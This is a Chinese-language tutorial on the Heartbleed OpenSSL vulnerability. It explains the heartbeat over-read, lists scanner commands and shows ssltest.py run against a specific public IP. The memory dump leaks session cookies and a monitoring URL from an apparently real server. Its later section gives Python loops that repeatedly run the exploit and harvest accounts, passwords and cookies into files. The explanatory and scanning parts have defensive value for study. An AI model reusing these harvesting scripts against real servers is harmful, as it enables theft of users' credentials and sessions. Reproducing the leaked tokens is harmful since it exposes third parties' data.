心脏滴血

漏洞名称 Heartbleed(心脏滴血)
作者 谷歌研究员 Neel Mehta
时间 2014 年 4 月 8日
危害 黑客利用这个漏洞,就能够从大量包含用户名、密码和其他敏感信息的数据库中窃取数据。
影响版本 OpenSSL1.0.1、1.0.1a 、1.0.1b 、1.0.1c 、1.0.1d 、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等版本。
漏洞详细说明 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

漏洞原理

“心脏出血”是 OpenSSL 的一个漏洞。OpenSSL 是一个安全协议,它可以对用户与大多数网络服务所提供的服务器之间的通信进行加密。

最初人们为了网络通信安全,就开始使用安全协议进行加密通信,SSL(Secure Socket Layer)就是一种安全协议。随着开源软件的流行,有人写了一款叫 OpenSSL 的开源程序供大家方便地对通信进行SSL加密,后来这款软件便在互联网中被广泛应用。

OpenSSL 有一个叫 Heartbeat (心跳检测)的拓展,问题就出在这个拓展上,这也是漏洞被命名为“心脏滴血”的直接原因。

所谓心跳检测,就是建立一个 Client Hello 问询来检测对方服务器是不是正常在线 ,服务器发回 Server hello,表明正常树立SSL通讯。就像我们打电话时会问对方 “喂听得到吗?”一样。

每次问询都会附加一个问询的字符长度 pad length,bug 来了,如果这个 pad length 大于实际的长度,服务器仍是会回来相同规模的字符信息,于是形成了内存里信息的越界访问。

如果你还听不懂,看完这个漫画应该就懂了。

心脏滴血原理漫画

就这样,每发起一个心跳,服务器就能泄露一点点数据(理论上最多泄露 64K),这些数据里可能包括用户的登录账号密码、电子邮件甚至是加密秘钥等信息,也可能并没有包含这些信息,但攻击者可以不断利用 "心跳”来获取更多的信息。就这样,服务器一点一点泄露越来越多的信息,就像是心脏慢慢在滴血,心脏滴血漏洞的名字由此而来。

注意:使用HTTPS可以防止中间人攻击,但是只有当配置正确并使用强加密才行。

漏洞扫描

  • sslscan
  • sslyze
  • TLSSLed
  • HeartbleedScanner
  • Nmap脚本ssl-heartbleed.nse

nmap

nmap -p 443 --script ssl-heartbleed <target>

sslscan

sslscan ip:port
sslscan --targets=<file>

sslscan的检测结果会用颜色显示,红代表严重,黄代表中危

TLSSLed

基于sslscan的工具,它是一个Linux shell脚本,它的功能是测试目标SSL/TLS(HTTPS)WEB 服务器的安全性。

 tlssled your_target 443

sslyze

sslyze --heartbleed 5.9.101.236
sslyze --heartbeeld --targets_in=TARGETS_IN

HeartbleedScanner

windows平台的一个GUI工具,使用很简单,可批量。

漏洞利用

  • ssltest.py
root@gvx:~# python ssltest.py  5.9.101.236 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 527
 ... received message: type = 22, ver = 0302, length = 203
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 9D D0 95 EA  ....#...........
  00e0: BF F0 37 B0 30 33 F7 E0 F7 EE C6 F0 B1 DD E9 F1  ..7.03..........
  00f0: 38 C7 6D D8 5A 69 8F EC D6 67 20 98 8C 03 B9 01  8.m.Zi...g .....
  0100: 8E 44 75 1F 26 67 11 1E A4 77 F4 6F ED E3 FE 5F  .Du.&g...w.o..._
  0110: 7E 06 25 6D 45 69 2B 21 62 53 89 5D 1F AA 03 DE  ~.%mEi+!bS.]....
  0120: A6 A0 CA 2B 8A 84 E0 89 F6 36 5D 89 FF A8 37 22  ...+.....6]...7"
  0130: C1 C8 46 39 BD B6 D1 9F 7C EE C7 2E 63 37 30 2F  ..F9....|...c70/
  0140: 7A 09 AA 26 B8 DC 5E F4 67 75 AE F4 E8 AA 42 33  z..&..^.gu....B3
  0150: 2D C7 86 5B D3 58 10 02 B1 4B B6 C4 D0 AD 0E 87  -..[.X...K......
  0160: 25 00 0D 00 14 00 12 04 03 08 04 04 01 05 03 08  %...............
  0170: 05 05 01 08 06 06 01 02 01 00 05 00 05 01 00 00  ................
  0180: 00 00 00 12 00 00 00 10 00 0E 00 0C 02 68 32 08  .............h2.
  0190: 68 74 74 70 2F 31 2E 31 75 50 00 00 00 0B 00 02  http/1.1uP......
  01a0: 01 00 00 0A 00 0A 00 08 EA EA 00 1D 00 17 00 18  ................
  01b0: CA CA 00 01 00 00 15 00 47 00 00 00 00 00 00 00  ........G.......
  01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0200: 0A 52 65 66 65 72 65 72 3A 20 68 74 74 70 73 3A  .Referer: https:
  0210: 2F 2F 6D 6F 6E 2E 76 69 70 6F 6C 65 2E 63 6F 6D  //mon.vipole.com
  0220: 2F 7A 61 62 62 69 78 2F 73 63 72 65 65 6E 73 2E  /zabbix/screens.
  0230: 70 68 70 3F 73 69 64 3D 65 32 32 36 37 33 38 66  php?sid=e226738f
  0240: 32 32 30 61 35 65 38 31 26 66 6F 72 6D 5F 72 65  220a5e81&form_re
  0250: 66 72 65 73 68 3D 31 26 66 75 6C 6C 73 63 72 65  fresh=1&fullscre
  0260: 65 6E 3D 30 26 65 6C 65 6D 65 6E 74 69 64 3D 32  en=0&elementid=2
  0270: 30 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69  0..Accept-Encodi
  0280: 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74  ng: gzip, deflat
  0290: 65 2C 20 62 72 0D 0A 41 63 63 65 70 74 2D 4C 61  e, br..Accept-La
  02a0: 6E 67 75 61 67 65 3A 20 72 75 2C 65 6E 3B 71 3D  nguage: ru,en;q=
  02b0: 30 2E 38 0D 0A 43 6F 6F 6B 69 65 3A 20 50 48 50  0.8..Cookie: PHP
  02c0: 53 45 53 53 49 44 3D 66 73 71 65 71 70 69 76 37  SESSID=fsqeqpiv7
  02d0: 34 6F 76 6C 68 70 66 71 65 62 33 62 61 70 71 6F  4ovlhpfqeb3bapqo
  02e0: 33 3B 20 7A 62 78 5F 73 65 73 73 69 6F 6E 69 64  3; zbx_sessionid
  02f0: 3D 65 32 38 34 31 64 35 32 62 30 33 30 32 61 31  =e2841d52b0302a1
  0300: 32 65 32 32 36 37 33 38 66 32 32 30 61 35 65 38  2e226738f220a5e8
  0310: 31 3B 20 75 75 69 64 3D 35 37 62 31 66 38 62 61  1; uuid=57b1f8ba
  0320: 35 62 35 61 61 30 62 30 30 34 38 65 62 65 38 32  5b5aa0b0048ebe82
  0330: 3B 20 5F 79 6D 5F 75 69 64 3D 31 34 37 31 32 38  ; _ym_uid=147128
  0340: 31 33 34 30 36 34 34 31 33 33 37 36 36 3B 20 5F  1340644133766; _
  0350: 5F 75 74 6D 61 3D 32 33 36 34 33 36 36 31 34 2E  _utma=236436614.
  0360: 39 33 35 36 34 30 33 39 37 2E 31 34 37 31 32 38  935640397.147128
  0370: 35 33 37 36 2E 31 35 30 32 33 34 37 32 34 33 2E  5376.1502347243.
  0380: 31 35 30 35 37 35 39 35 39 36 2E 32 36 3B 20 5F  1505759596.26; _
  0390: 5F 75 74 6D 63 3D 32 33 36 34 33 36 36 31 34 3B  _utmc=236436614;
  03a0: 20 5F 5F 75 74 6D 7A 3D 32 33 36 34 33 36 36 31   __utmz=23643661
  03b0: 34 2E 31 34 37 38 35 32 35 31 31 35 2E 36 2E 33  4.1478525115.6.3
  03c0: 2E 75 74 6D 63 73 72 3D 76 69 70 6F 6C 65 2E 69  .utmcsr=vipole.i
  03d0: 6E 66 6F 7C 75 74 6D 63 63 6E 3D 28 72 65 66 65  nfo|utmccn=(refe
  03e0: 72 72 61 6C 29 7C 75 74 6D 63 6D 64 3D 72 65 66  rral)|utmcmd=ref
  03f0: 65 72 72 61 6C 7C 75 74 6D 63 63 74 3D 2F 0D 0A  erral|utmcct=/..
  0400: 58 2D 43 6F 6D 70 72 65 73 73 3A 20 6E 75 6C 6C  X-Compress: null
  0410: 0D 0A 0D 0A DD B9 C0 6C CE D2 99 84 44 02 E6 48  .......l....D..H
  0420: 7B 33 FB 42 00 00 00 00 00 00 00 00 00 00 00 00  {3.B............
  0430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!

优化脚本

针对特定的某个攻击目标,可以查看已经读到的内容,利用正则表达式不停拉抓账号密码。

也可以根据关键词,不停抓下cookie,账号等。

将testssl.py的代码修改为不输出偏移地址和非ascii字符,找到hexdump函数,修改为:

def hexdump(s):
    pdat = ''
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

    print '%s' % (pdat.replace('......', ''),)
    print

这样就只输出有用的ascii字符串了。

1. 正则表达式抓账号
import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
    for match in matches:
        if match not in accounts:
            accounts.append(match)
            with open('accounts.txt', 'a') as inFile:
                inFile.write(str(match) + '\n')
            print 'New Account:', match
    time.sleep(1.0)

脚本间隔一秒钟读一次数据,发现正则匹配的账号密码,若之前没出现过,就写入accounts.txt文件。

这样可以避免重复写入同样的账号、密码。

2. 根据关键词抓数据

如果并不确定后台地址,也不知道登录请求、Cookie的格式,直接用关键词抓账号就行了。

类似下面的代码:

import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    keywords = ['system', 'password', 'passwd', 'admin']
    for word in keywords:
        if result.find(word) > 0:
            print 'new data', time.asctime()
            with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
                f.write(result)
            break
    time.sleep(1.0)

这样一旦返回的数据中存在关键词passwd、password等,就会把数据写入data_1文件夹下面,以时间命名。

漏洞修复

升级版本

参考文献

曾席卷全球的“心脏滴血“漏洞,三年后仍存在于近20万设备中

OpenSSL Heartbleed "心脏滴血"漏洞简单攻击示例

SSLyze:快速全面的SSL安全扫描器

代码层面理解:Openssl“心脏出血”漏洞分析及其利用

results matching ""

    No results matching ""